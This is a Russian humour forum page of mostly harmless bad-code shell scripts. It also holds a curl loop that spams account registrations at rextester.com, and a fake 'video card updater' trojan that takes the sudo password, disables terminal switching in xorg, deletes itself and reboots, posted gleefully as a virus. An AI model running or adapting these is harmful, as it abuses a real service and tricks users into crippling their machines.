- 1
Бомбёж по поводу Wine и Mono
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−3
Бомбёж по поводу Wine и Mono
Все говорят, что Wine не может с 1993 года запускать программы под винду. И всё почему? Потому что не могут господа вся опенсорса и линуксии нормально реимплементить программы с нешвабодки. Содержимое бутылки похоже на винду настолько отдалённо, как борманд на кегдана. И причём тут Mono? Притом, что в вайн засунули моно, который кривой как руки создателя 1C. И самое страшное, что ни вайн, ни моно никто не хочет сделать на 100% идентичным оригиналу. Ведь если они не будут похожи, то они просто становятся бесполезны.
0
#!/bin/sh
declare -i count=0
while true; do
tmp=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
tmp=${tmp:0:100}
user=$(echo -n $tmp| tr 0-9 K-Z)
password=$tmp
# echo -e "\n\e[0;96mLogin: \e[0;97m$user"
# echo -e "\e[0;96mPassword: \e[0;97m$password"
curl --connect-timeout 10 -A "I that sends all fuck" -d "RegName=${user}&RegPassword=${password}&Submit1=Register" http://rextester.com/login 2>&1 | grep "Object moved" &>/dev/null
ret=$?
if [ "$ret" -eq 0 ]; then
#echo -e "\e[0;92mRegistration done\n"
((count++))
echo -e "\e[0;92m$count"
else
echo -e "\e[0;91mfail"
fi
usleep 10000
done
Да здраствуют издевательства над тупыми админами!!!
0
#!/bin/bash
# ColorsXterm.sh
# by Morteryler 2017
print()
{
local N=$1
declare -i i=0
for n in $cveta; do
echo -n '\e['"$N"';'$n'm'
echo -e " > \e["$N";"$n"m $TEXT \e[0m"
((i++))
done
}
help()
{
echo "Программа ColorsXterm. Версия 1.0"
echo "-0 - обычные цвета"
echo "-1 - жирные цвета"
echo "-2 - бледные цвета"
echo "-3 - тоже обычные цвета"
echo "-4 - подчеркнутые цвета"
echo "-5 - мигающие цвета"
echo "-6 - тоже обычные цвета"
echo "-7 - цвета инвертированные"
echo "-8 - цвета без текста"
echo "-9 - все перечёркнутые"
exit 0
}
TEXT="#######################################################"
cveta="1 2 4 5 7 8 9 21 30 31 32 33 34 35 36 37 41 42 43 44 45 46 47\
90 91 92 93 94 95 96 97 100 101 102 103 104 105 106 107"
while getopts ":h0123456789" opt; do
case $opt in
0) print 0;;
1) print 1;;
2) print 2;;
3) print 3;;
4) print 4;;
5) print 5;;
6) print 6;;
7) print 7;;
8) print 8;;
9) print 9;;
h) help;;
esac
done
Openгавняшка
0
#!/bin/sh
echo "Вас приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot
Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить
+3
#!/bin/sh
while true; do
date "+Time is %H %M. Stop lurking and get the fuck to work" | say
sleep 1800
done
Я наконец нашёл применение встроенному в OS X TTS-движку.
0
#!/bin/sh
#
# Simple script to enable CPU cores automatically again if cooling state is
# 3 or lower.
#
set -e
get_cooling_state() {
echo $(cat /sys/devices/virtual/thermal/cooling_device0/cur_state)
}
enable_cpu() {
if [ $(cat /sys/devices/system/cpu/cpu$1/online) = 0 ]; then
echo 1 > /sys/devices/system/cpu/cpu$1/online || true
fi
}
while true; do
for c in 0 1 2 3; do
if [ $(get_cooling_state) -le 3 ]; then
enable_cpu $c
fi
done
sleep 5
done
Вот такой замечательный код занимается защитой процессора в стандартных сборках под OrangePi на Allwinner H5
https://github.com/orangepi-xunlong/OrangePiH5_scripts/blob/master/platform-scripts/OrangePi_corekeeper.sh
Думаю, говорить о том, как такой код работает, и насколько лучше был бы тут простенький скрипт, скажем, на питоне, смысла нет
+2
kvm_rpm_table="[censored]/function/html/data.htm"
xen_rpm_table="[censored]/function/html/data1.htm"
if [ $1 != "kvm" ] && [ $1 != "xen" ]; then
echo "Please, specify kvm or xen"
exit 1
fi
if [ $1 != "kvm" ]; then
line=`wget $kvm_rpm_table -q -S -O - 2>&1 | grep 'Download' -m1`;
fi
if [ $1 != "xen" ]; then
line=`wget $xen_rpm_table -q -S -O - 2>&1 | grep 'Download' -m1`;
fi
По какой-то причине человек решил задефайнить в переменную про KVM страницу со ссылками на ядра с Xen, а в перменную про Xen -- страницу со ссылками на ядра с KVM. Чем и вызван весь дальнейший цирк.
−7
#!/bin/bash
echo Я говно на баш!
while true; do
read PS1
PS2="${PS2} ${PS1} Смищно правда?"
echo $PS2
don
+1
Кегдан вернулся, давайте радоваться вместе!
−3
А вы замечали, что пари предпросмотре поста выводится дата "01 Января 1970"?